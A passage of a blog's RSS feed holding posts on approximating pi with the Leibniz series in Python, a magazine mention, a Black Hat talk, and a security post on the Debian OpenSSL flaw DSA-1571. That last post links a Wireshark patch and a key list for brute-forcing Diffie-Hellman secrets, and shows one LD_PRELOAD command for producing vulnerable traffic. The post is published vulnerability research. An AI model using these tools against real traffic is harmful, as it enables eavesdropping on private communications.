En efecto, la fracción <a href="http://www.google.com/search?q=355%2F113">355/113</a> parece ser la forma que mejor balancea precisión y simpleza a la hora de arrimarse a π desde lo números racionales, quedando a solo <a href="“http://www.google.com/search?q=355%2F113-pi”">2.66764189 × 10<sup>-7</sup> de distancia</a>. Mucha gente también utiliza la relación 22/7, aunque con menor precisión.</p>
<p>El desafío propuesto parecía interesante. Resultaba una entretenida oportunidad de jugar con <a href="http://docs.python.org/tut/node16.html">floats en python</a>, que siempre a resultado ser bastante <a href="http://www.wordreference.com/es/translation.asp?tranword=tricky">tricky</a> (además de ser un excusa para despejar la cabeza).</p>
<p>Empecé por escribir una <a href="http://www.lucianobello.com.ar/blog/asimov_simple.py">versión relativamente obvia</a> de la solución, que me dijo que al llegar al cociente 7497257 (n=3748629 en la sumatoria de Leibniz) el valor de la sumatoria estaría en 3.14159292035, quedando a 2.66764081935 x 10<sup>-7</sup> de π. Dado que los decimales (floats, representaciones de punto flotante) en Python <a href="http://www.google.com/search?q=python+&quot;0.10000000000000001&quot;+&quot;0.1&quot;">no se comportan de forma intuitiva</a>, decidí hacer <a href="http://www.lucianobello.com.ar/blog/asimov.py">una segunda versión</a>.</p>
<p>En <a href="http://www.lucianobello.com.ar/blog/asimov.py">esta versión</a> traté de mudarme al predecible mundo de los enteros. Y obtuve valores levemente distintos. En el cociente 7497247 (n=3748624) se obtiene la primera aproximación mejor que 355/113, que es 3.141592386825&#8230;  (a 2.66764162 x 10<sup>-7</sup> de π)</p>
<p>Tampoco estoy seguro de que la segunda solución sea la correcta. Me pregunto cual será el promedio de valores en las postales que la <a href="http://en.wikipedia.org/wiki/Janet_Asimov">viuda Asimov</a> seguramente guarda en una caja de zapatos.</p>
<p>El hecho es que fue entretenido intentarlo y tal vez continúe con la experiencia la próxima vez que quiera desconectarme del mundo. Después de todo, como dijo el mismo <a href="http://es.wikiquote.org/wiki/Isaac_Asimov">Asimov</a>: <em>“Los hombres que se acostumbran a preocuparse por las necesidades de unas máquinas, se vuelven insensibles respecto a las necesidades de los hombres”</em>, y hay veces que volverse insensible se ve, erróneamente, como una propuesta seductora. Hay gente que ahoga penas en alcohol, mucho más sano es ahogarlas matemáticas&#8230;</p>
<p>BTW, ya que tenía los datos armé un<a href="http://www.lucianobello.com.ar/blog/leibniz_principio.png"> plot de los primeros 1000 valores</a> de la serie para mostrar de forma gráfica la convergencia.</p>
<p>Ahora es momento de volver a la realidad, que buena o mala, irracional o racional (seguro que real al menos), inexacta o precisa, después de este recreo metal ya no se ve tan mal :-)</p>
<p><strong>UPDATE: Sat, 20 Sep 2008 22:18:18 -0300:</strong> La solución estaba realmente cerca (en mi misma ciudad) y se llama <a href="http://www.taniquetil.com.ar/plog/">Facundo</a>, quien dejó un <a href="http://www.lucianobello.com.ar/post/asimov-leibniz-pi-python-floats-y-evadirse-de-la-realidad/#comment-801">comentario</a>. Bah.. se llama <a href="http://docs.python.org/lib/module-decimal.html">decimal</a>, pero existe gracias a Facundo :). La <a href="http://docs.python.org/lib/module-decimal.html">biblioteca  decimal</a> permite manejar de forma exacta una cantidad arbitraria de decimales. La respuesta correcta es&#8230;&#8230;.. (redoblantes de suspenso) con <strong>n=(7497259+1)/2! aproxima a Π en 3.141592386825668744985771256 a solo 2.66764125 × 10<sup>-7</sup> del número irracional</strong>. El nuevo script.. <a href="http://www.lucianobello.com.ar/blog/asimov_decimal.py">aquí</a>.</p>
<p>Gracias Facundo, gracias decimal, gracias Asimov, gracias Leibniz&#8230;.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/asimov-leibniz-pi-python-floats-y-evadirse-de-la-realidad/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>snail mail</title>
		<link>http://www.lucianobello.com.ar/post/snail-mail/</link>
		<comments>http://www.lucianobello.com.ar/post/snail-mail/#comments</comments>
		<pubDate>Tue, 19 Aug 2008 23:48:00 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[debian]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[openssl]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=895</guid>
		<description><![CDATA[Después de varias semanas sin pisar casa (Grand Canyon, Black Hat, DefCon y DebConf) detrás de mi puerta hay correo (del tradicional) en cantidad inusual. De un tiempo a esta parte, el correo no electrónico decantó en una forma de hacer llegar facturas, recibos, muestras gratis y nada más. Los sentimientos en el siglo XXI [...]]]></description>
			<content:encoded><![CDATA[<p>Después de varias semanas sin pisar casa (<a href="http://www.lucianobello.com.ar/fotos/?galerie=Pre-BlackHat%20Defcon%20-%20Las%20Vegas%20y%20Grand%20Canyon,%20USA">Grand Canyon</a>, <a href="http://www.lucianobello.com.ar/fotos/?galerie=BlackHat%20-%20Las%20Vegas,%20USA">Black Hat</a>, <a href="http://www.lucianobello.com.ar/fotos/?galerie=Defcon16%20-%20Las%20Vegas,%20USA">DefCon</a> y <a href="http://gallery.debconf.org/v/debconf8/">DebConf</a>) detrás de mi puerta hay correo (del tradicional) en cantidad inusual. De un tiempo a esta parte, el correo no electrónico decantó en una forma de hacer llegar facturas, recibos, muestras gratis y nada más. Los sentimientos en el siglo XXI ya van por otro lado. Sin embargo, esta carta fue distinta:<br />
<center><a href="http://www.lucianobello.com.ar/blog/linux_magazine_dutch58.JPG"><img hspace="1" vspace="1" src='http://www.lucianobello.com.ar/blog/_linux_magazine_dutch58.JPG' /></a><a href="http://www.lucianobello.com.ar/blog/linux_magazine_dutch59.JPG"><img hspace="1" vspace="1" src='http://www.lucianobello.com.ar/blog/_linux_magazine_dutch59.JPG' /></a><br />
<a href="http://www.lucianobello.com.ar/blog/linux_magazine_dutch60.JPG"><img hspace="1" vspace="1" src='http://www.lucianobello.com.ar/blog/_linux_magazine_dutch60.JPG' /></a><a href="http://www.lucianobello.com.ar/blog/linux_magazine_dutch62.JPG"><img hspace="1" vspace="1" src='http://www.lucianobello.com.ar/blog/_linux_magazine_dutch62.JPG' /></a></center><br />
Se trata del número de Agosto de Linux Magazine. El lector observador notará que no está en inglés, ni en alemán, sino en neerlandés. Me la envió <a href="http://www.vervloesem.eu/journalist/">Koen Vervloesem</a>, quien hace poco menos de 3 meses me solicitó vía correo (del electrónico) detalles sobre la <a href="http://www.debian.org/security/2008/dsa-1571">falla dsa-1571</a>.</p>
<p>Obviamente lo único que soy capaz de entender es mi propio nombre, pero lo que cuenta es la intención :). Gracias Koen por el detalle, se que entenderás este post tanto como yo la nota :P.</p>
<p>Y hablando de correo físicamente transportado (aunque sin relación con lo anterior, que fue totalmente gratis), uno se da cuenta que vive en las antípodas del mundo donde le gustaría estar cuando recibe facturas de encomienda como esta:<br />
<center><img src='http://www.lucianobello.com.ar/blog/bill.png' /></center><br />
Bizarro&#8230; pero cruelmente real.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/snail-mail/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>a black hat speaker after all</title>
		<link>http://www.lucianobello.com.ar/post/a-black-hat-speaker-after-all/</link>
		<comments>http://www.lucianobello.com.ar/post/a-black-hat-speaker-after-all/#comments</comments>
		<pubDate>Fri, 25 Jul 2008 00:21:00 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[lectures & talks]]></category>
		<category><![CDATA[planet]]></category>
		<category><![CDATA[sorry for my english]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=892</guid>
		<description><![CDATA[Finally, this alternative speaker became an speaker, nothing more. Maxi and I will be given a lecture during Black Hat, as you can see here. Just think about being in the same rostrum than Fyodor makes me feel so small&#8230;]]></description>
			<content:encoded><![CDATA[<p>Finally, this <em>alternative speaker</em> became <em>an speaker, nothing more</em>. <a href="http://www.google.com/search?q=Maximiliano+BERTACCHINI">Maxi</a> and I will be given a lecture during <a href="http://www.blackhat.com/">Black Hat</a>, as you can see <a href="http://www.blackhat.com/html/bh-usa-08/bh-usa-08-speakers.html#Bello">here</a>.</p>
<p>Just think about being in the same rostrum than <a href="http://insecure.org/fyodor/">Fyodor</a> makes me feel so small&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/a-black-hat-speaker-after-all/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Exploiting DSA-1571: How to break PFS in SSL with EDH</title>
		<link>http://www.lucianobello.com.ar/post/exploiting-dsa-1571-how-to-break-pfs-in-ssl-with-edh/</link>
		<comments>http://www.lucianobello.com.ar/post/exploiting-dsa-1571-how-to-break-pfs-in-ssl-with-edh/#comments</comments>
		<pubDate>Sun, 20 Jul 2008 05:10:00 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[crypto]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[free software]]></category>
		<category><![CDATA[openssl]]></category>
		<category><![CDATA[planet]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sorry for my english]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=891</guid>
		<description><![CDATA[( I love acronyms :-D ) Tal vez quieras leer esto en español. At this point, all of you should know and see how the H D Moore’s toys work. Those toys attack SSH public-key authentication using clone keys and online brute force. Furthermore, many of you know that there are other effects produced by [...]]]></description>
			<content:encoded><![CDATA[<p>( I love acronyms  :-D ) <a href="http://www.lucianobello.com.ar/exploiting_DSA-1571/index_es.html">Tal vez quieras leer esto en español</a>.</p>
<p>At this point, all of you should know and see how the <a href="http://metasploit.com/users/hdm/tools/debian-openssl/">H D Moore’s toys</a> work. Those toys attack SSH public-key authentication using clone keys and online brute force.</p>
<p>Furthermore, many of you know that there are other effects produced by a biased PRNG besides this one.</p>
<p>Strangely, I could not find more of those toys exploiting these aspects. So, I would like to show you <a href="http://people.debian.org/~luciano/wireshark-Exploiting-DSA-1571/20_cve_2008_0166_attack.dpatch">a Wireshark patch</a> which attacks <a href="http://en.wikipedia.org/wiki/Perfect_forward_secrecy">Perfect Forward Secrecy (PFS)</a> provided by <a href="http://www.rsa.com/products/bsafe/documentation/mesuite21html/dev_guide/group__EPH__DH.html">Ephemeral Diffie Hellman (EDH)</a>.</p>
<h1>Introduction to EDH</h1>
<p>Let’s put it in plain words (if you know what we are talking about, ignore this and jump to the next heading):<br />
In an insecure communications channel the parties agree a common key to cipher their dialog. This is what happens in SSL (in most of the cases, depending on the cipher suite):</p>
<ul>
<li> The server selects a random <a href="http://en.wikipedia.org/wiki/Prime_number">prime</a> <i>p</i> and a generator <i>g</i> of the <a href="http://en.wikipedia.org/wiki/Group_(mathematics)">field</a> <i>Z*<sub>p</sub></i> (Let’s ignore the mathematical properties of these values). So, the components <i>p</i> and <i>g</i> are public.</p>
<li> The server picks a secret random number <i>X<sub>s</sub></i> and calculates <i>Y<sub>s</sub>=g<sup><i>X<sub>s</sub></i></sup> mod p</i>. <i>Y<sub>s</sub></i> is public and is sent to the client (just like <i>p</i> and <i>g</i>).
<li> The client does something similar, selecting a secret random number <i>X<sub>c</sub></i> and calculating <i>Y<sub>c</sub>=g<sup><i>X<sub>c</sub></i></sup> mod p</i> too. The client makes <i>Y<sub>c</sub></i> public by sending it to the server.
<li> The shared secret <i>s</i> is the public key of the other part to the exponential of the own private number, all in p modulus. That is, for the client <i>s=Y<sub>s</sub><sup><i>X<sub>c</sub></i></sup>mod p</i> and for the server <i>s=Y<sub>c</sub><sup><i>X<sub>s</sub></i></sup>mod p</i>.
<li>With this shared secret the parties can encrypt all the following messages in a secure way.
<li>In the Ephemeral Diffie Hellman (EDH), the private numbers are ruled out, so <i>s</i> is mathematically secure and nobody can obtain it even having access to one of the parties after the aforementioned handshake.
</ul>
<h1>The “exploit”</h1>
<p>If an eavesdropper can explore the complete private key space (the all possible numbers for X<sub>c</sub> or X<sub>s</sub>), he/she will be able to get access to the shared secret. With it all the communication can be deciphered. That’s what this patch can do.</p>
<p>A <a href="http://www.wireshark.org/">Wireshark</a> with this patch and a list of possible private keys will try to brute force the share secret. If one of the parties is using the vulnerable OpenSSL package the communication is totally insecure and will be decrypted.</p>
<p><center><a href="http://www.lucianobello.com.ar/blog/wireshark_PFS_attack_big.jpg"><img src='http://www.lucianobello.com.ar/blog/wireshark_PFS_attack_small.jpg' /></a></center></p>
<ul>
<li>The patch for <a href="http://www.wireshark.org/download/src/wireshark-1.0.2.tar.gz">Wireshark 1.0.2</a> can be downloaded from <a href="http://people.debian.org/~luciano/wireshark-Exploiting-DSA-1571/20_cve_2008_0166_attack.dpatch">here</a>.</p>
<li>Debian packages with the patch applied can be found <a href="http://people.debian.org/~luciano/wireshark-Exploiting-DSA-1571/">here</a>.
<li><a href="http://www.citefa.gov.ar/si6/dh-private-keys.tar.gz">This</a> is a list of all 2<sup>15</sup> possible 64 and 128 bit DH private keys in systems vulnerable to the predictable OpenSSL PRNG described by <a href="http://www.debian.org/security/2008/dsa-1571">DSA-1571</a>.
<li>An example of a pcap file can be found <a href="http://people.debian.org/~luciano/wireshark-Exploiting-DSA-1571/test.pcap">here</a> (it was built with a vulnerable client and one of the Moore toys, <a href="">a hacked getpid</a> by running <tt>$ MAGICPID=101 LD_PRELOAD=‘getpid.so’ ./vulnerable-openssl/apps/openssl s_client -connect db.debian.org:443</tt> )</ul>
<p>The patch <a href="https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=2725">was submitted</a> in order to be committed on the Wireshark trunk. There you can find <a href="https://bugs.wireshark.org/bugzilla/attachment.cgi?id=2029">the patch against the on-develop source revision 25765</a>.</p>
<h1>Issues that can be improved</h1>
<p>We (the other developers and myself) detected few things to be improved. But we will do nothing for them. So, if you want to contribute with some code, start from these items and submit the patches to the <a href="">Wireshark’s bugzilla</a>:
<ul>
<li> When the packets are out-of-order the decipher with stop itself.</p>
<li> The brute force attack should run in a background process (and with a progres bar)
<li> Check the length of the keys before trying to brute force them.
<li> The patch also implements the display of public DH parameters in the packet tree. It’s incomplete.</ul>
<h1>Credits</h1>
<p>Paolo Abeni &lt;paolo.abeni at email.it&gt;<br />
Luciano Bello &lt;luciano at debian.org&gt;<br />
Maximiliano Bertacchini &lt;mbertacchini at citefa.gov.ar&gt;</p>
<p>This work was partially supported by <a href="http://www.citefa.gov.ar/si6">Si6 Labs</a> at <a href="http://www.citefa.gov.ar/">CITEFA</a>, Argentina.</p>
<p><b>UPDATE Jul. 21st</b>: See more and updated info <a href="http://www.lucianobello.com.ar/exploiting_DSA-1571/index.html">here</a>, especially <a href="http://www.lucianobello.com.ar/exploiting_DSA-1571/index.html#related">this</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/exploiting-dsa-1571-how-to-break-pfs-in-ssl-with-edh/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

